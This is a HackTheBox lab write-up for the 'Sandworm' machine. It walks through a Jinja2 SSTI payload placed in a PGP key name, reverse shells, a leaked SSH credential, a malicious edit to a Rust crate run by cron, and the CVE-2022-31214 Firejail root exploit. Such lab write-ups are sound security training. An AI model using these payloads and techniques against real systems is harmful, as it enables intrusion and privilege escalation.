HTB: Sandworm Writeup

Sandworm - HackTheBox Writeup

Machine Information

AttributeDetails
NameSandworm
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Sandworm presents itself as a security agency’s tip-submission portal built on Flask, fronted by nginx over TLS on the vhost ssa.htb. The site’s PGP “guide” page looks like a self-contained toy — encrypt/decrypt/sign/verify boxes that appear to just echo back gpg output — but the real verification logic lives behind an AJAX endpoint (/process) that was never visible in the rendered form markup. Injecting a Jinja2 SSTI payload into the Name field of a PGP key, then submitting a signed message with that key, gets the payload rendered server-side and executed as the atlas user — except that user is trapped inside a Firejail sandbox with a stripped-down shell. From there, a plaintext credential recovered from an httpie session file breaks out of the jail entirely via SSH as silentobserver, netting the user flag. A writable Rust logging crate consumed by a cargo run cronjob in /opt/tipnet then provides a path back to the real, unjailed atlas account (member of the jailer group), and a public exploit for CVE-2022-31214 in Firejail 0.9.68 turns that group membership into root.

TL;DR: Jinja2 SSTI via a PGP key’s Name field (fired at the hidden /process endpoint) → RCE as jailed atlas → httpie session file leaks silentobserver creds → SSH in, grab user.txt → hijack a writable Rust crate consumed by a cron cargo run job → shell as real (unjailed) atlas in the jailer group → CVE-2022-31214 Firejail --join exploit → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep, then targeted service/version detection
nmap -p- --min-rate=1000 -T4 10.10.11.X -oG allports.txt
ports=$(grep -oP '\d+/open' allports.txt | cut -d/ -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.X

Results:

PortServiceNotes
22SSHOpenSSH
443nginx (SSL)TLS cert / vhost reveals ssa.htb

Only two ports are exposed — SSH and an nginx reverse proxy in front of a Flask application, reached over HTTPS. The certificate/vhost data points at ssa.htb, which gets added to /etc/hosts:

Terminal window
echo "10.10.11.X ssa.htb" | sudo tee -a /etc/hosts

Service Enumeration

The site at https://ssa.htb is a security agency landing page with a “PGP guide” section offering encrypt/decrypt/sign/verify demo boxes. Each demo box posts to what looks like a form action, but the page’s real request wiring is done client-side.

The endpoint that actually matters is /process, not the visible form’s action="/guide/verify". The rendered form target is a decoy — submitting to it just gets you an HTML page echoing gpg’s own (escaped) output, with no server-side templating of user-controlled fields. The real logic was found by reading static/scripts.js, which shows the page’s JavaScript intercepting the submit event and firing an AJAX POST to /process instead. That distinction is the whole vulnerability — the SSTI only fires on the AJAX path.

Vulnerability Assessment

  • Flask backend rendering user-supplied PGP key metadata (Name/Comment/Email fields) through what is very likely a Jinja2 render_template_string call on the /process endpoint — classic SSTI surface.
  • A clock-skew trap: the attacking jump box’s system clock was running 7 hours ahead of real time. gpg refuses to trust (and the app’s verification path skips) a key or signature that appears to have been “created in the future,” so naive key generation silently produced a non-exploitable code path on the server. Wrapping key generation and message clear-signing in faketime neutralizes this:
Terminal window
# Generate the keypair and clear-sign the message as if the clock were correct
faketime '-8 hours' gpg --batch --gen-key keygen.conf
faketime '-8 hours' gpg --clearsign -u "attacker" message.txt

Initial Foothold

Exploitation Path

1. Confirm the SSTI sink. A PGP keypair’s Name field is attacker-controlled metadata that gets echoed back (and, on /process, rendered) in the verification response. Generating a key with a Jinja2 probe in the Name field:

Terminal window
# Name field carries the payload; email/comment can be anything
cat > keygen.conf <<'EOF'
%no-protection
Key-Type: RSA
Key-Length: 2048
Name-Real: {{7*7}}
Name-Email: pwn@ssa.htb
Expire-Date: 0
%commit
EOF
faketime '-8 hours' gpg --batch --gen-key keygen.conf

Signing a message with this key and posting it (as the signature + publicKey fields) directly to /process — bypassing the decoy form entirely — reflects the evaluated 49 back in the response, confirming server-side Jinja2 template evaluation of the Name field.

2. Escalate to RCE. Swap the probe for a payload that imports os and runs shell commands through Flask’s Jinja2 global namespace:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Regenerate the key with this string in Name-Real, clear-sign a message under faketime, and POST both to /process:

Terminal window
faketime '-8 hours' gpg --batch --gen-key keygen.conf
faketime '-8 hours' gpg --clearsign -u pwn@ssa.htb message.txt
curl -sk https://ssa.htb/process \
-F "signedMessage=<message.txt.asc" \
-F "publicKey=<pubkey.asc"

The response body contains the output of id, confirming command execution in the context of the atlas service account.

3. Reverse shell. A base64-wrapped bash one-liner in the same Name-Real field, re-signed and re-submitted, catches a shell:

Terminal window
# Listener
nc -nlvp 4444
{{request.application.__globals__.__builtins__.__import__('os').popen('echo <base64 bash -i reverse shell> | base64 -d | bash').read()}}

The callback lands as atlas — but the shell is immediately recognizable as a Firejail sandbox: a heavily restricted command set, an unusual /proc/1/cmdline, and a filesystem that doesn’t match a normal Linux root. This is the jailed foothold, not the real user account yet.


Privilege Escalation

atlas (jailed) → silentobserver (SSH, real shell)

With RCE inside the jail, reading the jailed atlas home directory turns up a saved httpie session file containing plaintext basic-auth credentials:

Terminal window
cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.json

This reveals the credential pair silentobserver:quietLiketheWind22, which — critically — works over SSH on the real host, completely outside the Firejail sandbox:

Terminal window
ssh silentobserver@ssa.htb
# password: quietLiketheWind22

user.txt is captured from silentobserver’s home directory.

Why this matters: the jailed atlas RCE never needed to be escaped directly — the leaked SSH credential sidesteps the jail entirely by authenticating as a different user with a normal, unjailed shell.

silentobserver → atlas (real, unjailed, jailer group) via Rust crate hijack

Enumeration under silentobserver turns up a cronjob that cargo runs a project in /opt/tipnet. Because the job invokes cargo run rather than executing a prebuilt binary, Cargo re-resolves and rebuilds the crate’s dependency tree on every run — including a local, non-crates.io dependency:

Terminal window
cat /opt/tipnet/Cargo.toml
# shows a path/local dependency on a "logger" crate

silentobserver has group-write access to that crate’s source (/opt/crates/logger/src/lib.rs), and tipnet’s main.rs calls logger::log(...) once per cycle. Editing the crate’s log() function to shell out gets arbitrary code execution the next time cron fires cargo run — no manual compilation needed, Cargo does it automatically:

/opt/crates/logger/src/lib.rs
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
pwn();
// ... original log() body preserved below so tipnet keeps working
}
fn pwn() {
Command::new("sh")
.arg("-c")
.arg("echo <base64 bash -i reverse shell> | base64 -d | bash")
.output()
.expect("failed");
}

Waiting out the cron interval yields a shell as the real atlas account — not the Firejail-sandboxed one from the SSTI foothold. This atlas is a member of the jailer group, which is the privilege that ultimately breaks root. A persistent SSH key is dropped into atlas’s authorized_keys to get a stable second shell for the exploit that follows (CVE-2022-31214 requires two concurrent sessions).

atlas (jailer group) → root — CVE-2022-31214 (Firejail 0.9.68)

id as the real atlas confirms jailer group membership, and a group-ownership search shows the Firejail binary itself is the only resource that membership grants:

Terminal window
id
# uid=...(atlas) groups=...,jailer
find / -group jailer 2>/dev/null
# /usr/bin/firejail (or similar)
firejail --version
# 0.9.68

Firejail 0.9.68 is vulnerable to CVE-2022-31214, a flaw in the --join namespace logic: a crafted fake Firejail sandbox process (spoofing its own PID/namespace bookkeeping) can be joined by a legitimate firejail --join=<pid>, which then inherits root privileges from the malicious sandbox’s crafted user/mount namespaces well enough to run su without a password.

Terminal window
# Shell 1 (SSH as atlas): stage the fake sandbox
chmod +x firejoin.py
./firejoin.py
# creates a fake jail process, e.g. PID 66850
# Shell 2 (second SSH session as atlas): join it
firejail --join=66850
su -
# no password required — drops into a root shell

root.txt is captured from /root/root.txt.


Attack Chain Summary

nginx/Flask recon (ssa.htb) → static/scripts.js reveals hidden /process AJAX endpoint
→ faketime-wrapped PGP keygen defeats clock-skew signature rejection
→ Jinja2 SSTI in PGP key "Name" field, submitted to /process
→ RCE as atlas (Firejail-jailed)
→ httpie session file leaks silentobserver:quietLiketheWind22
→ SSH as silentobserver → user.txt
→ writable Rust "logger" crate hijacked, consumed by cron `cargo run` in /opt/tipnet
→ shell as real atlas (jailer group, outside the jail)
→ CVE-2022-31214 (Firejail 0.9.68 --join namespace flaw) + su
→ root.txt

Tools Used

ToolPurpose
nmapPort scanning / service & version detection
gpg + faketimePGP keypair generation and message signing without triggering clock-skew rejection
Browser dev tools / static/scripts.js reviewDiscovering the real /process AJAX endpoint behind the decoy form
curlDirect POSTs to /process with crafted SSTI payloads
ncReverse shell listener
sshLateral movement as silentobserver and atlas; second concurrent session for the Firejail exploit
Rust / Cargo (lib.rs edit)Hijacking the writable logger crate consumed by the tipnet cron job
firejoin.py (CVE-2022-31214 PoC)Firejail --join namespace exploit for root

Key Learnings

Techniques Practiced

  • Identifying a genuine AJAX-driven backend endpoint hidden behind a decoy HTML form action
  • Server-Side Template Injection (Jinja2/Flask) via attacker-controlled PGP key metadata
  • Working around PGP signature timestamp validation with faketime
  • Breaking out of a restrictive Firejail sandbox by pivoting to leaked credentials rather than attacking the jail directly
  • Rust/Cargo dependency (crate) hijacking to achieve code execution through a cargo run-based cronjob
  • Exploiting a real, disclosed CVE (CVE-2022-31214) in Firejail’s --join logic to escalate group membership into root

Lessons Learned

  1. Never trust a rendered form’s action attribute as the real endpoint — client-side JavaScript can silently redirect submission to a different route with entirely different (and vulnerable) server-side logic.
  2. Environment clock drift is a live obstacle, not just a nuisance — PGP/gpg’s timestamp validation can mask a vulnerability if key generation and signing happen under a skewed clock; faketime is a lightweight, reliable fix.
  3. A jail is not always the thing you need to escape — plaintext credentials found inside a sandbox can grant a completely unjailed session via an entirely different service (SSH), making direct sandbox-breakout techniques unnecessary.
  4. cargo run in a cronjob is a supply-chain foothold — if a local/path dependency crate is writable by a lower-privileged user, that user controls code executed by whatever account runs the job, regardless of the main binary’s own permissions.
  5. Group membership alone can be root — a single group (jailer) granting access to a vulnerable setuid/capability-bearing binary (Firejail) was sufficient for full privilege escalation once the correct CVE was matched to the installed version.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup: Sandworm — C4rm3l0, Document No. D23.100.243 (Machine Author: C4rm3l0). Used for conceptual background on PGP mechanics, the CVE-2022-31214 Firejail --join vulnerability, and Rust/Cargo crate-hijacking theory; all IPs, endpoints, credentials, and commands in this writeup reflect the author’s own independent solve.